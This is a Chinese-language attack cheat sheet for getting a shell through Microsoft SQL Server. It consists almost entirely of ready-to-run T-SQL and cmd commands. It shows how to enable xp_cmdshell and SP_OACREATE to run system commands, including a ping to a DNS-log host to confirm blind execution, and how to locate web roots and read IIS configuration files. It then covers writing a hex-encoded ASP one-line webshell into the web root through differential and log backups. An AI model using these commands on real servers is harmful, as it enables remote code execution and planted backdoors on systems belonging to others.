SQL server getshell
一、sql server版本说明
05以下系统权限为system
08以上系统权限就不是system了,看到好几种,比较多的是network service
二、Sql Server危险的存储过程
这里使用sqlmap --os-shell命令也行
1、开启xp_cmdshell存储过程
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;
2、xp_cmdshell执行系统命令
exec xp_cmdshell "whoami";v
三、Sql Server Com组件
SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。
1、SP_OACREATE
查看SP_OACRAEATE状态
利用count(*)判断是否存在,存在即返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
2、启用SP_OACREATE
利用sp_configure存储过程,启用SP_OACREATE
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
3、利用SP_OACREATE执行系统命令
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'
四、通过差异备份写入一句话木马
1、判断站库分离
用1=(select is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。
2、寻找绝对路径
a、404报错页面
404报错页面查看绝对路径
b、配置文件
通过type读取配置文件
C:\Windows\system32\inetsrv\metabase.xml #iis6
C:\Windows\System32\inetsrv\config\applicationHost.config #iis7
c、cmd命令搜索文件
for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)
d、找旁站路径
旁站有没有地方可以爆出绝对路径,写入旁站
e、xp_dirtree
xp_dirtree 'c:\', 1, 1 #列出当前目录下所有的文件和文件夹
3、执行如下代码
backup database 当前数据库名 to disk = 'c:\ddd.bak';--
create table cmd (a image);
insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);--
[code]0x3C25657865637574652872657175657374282261222929253E [code]就是一句话木马的内容:<%execute(request("a"))%>
backup database 当前数据库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
五、log备份写入shell
alter database testdb set RECOVERY FULL
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image)
backup log testdb to disk = 'c:\aaa.bak' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'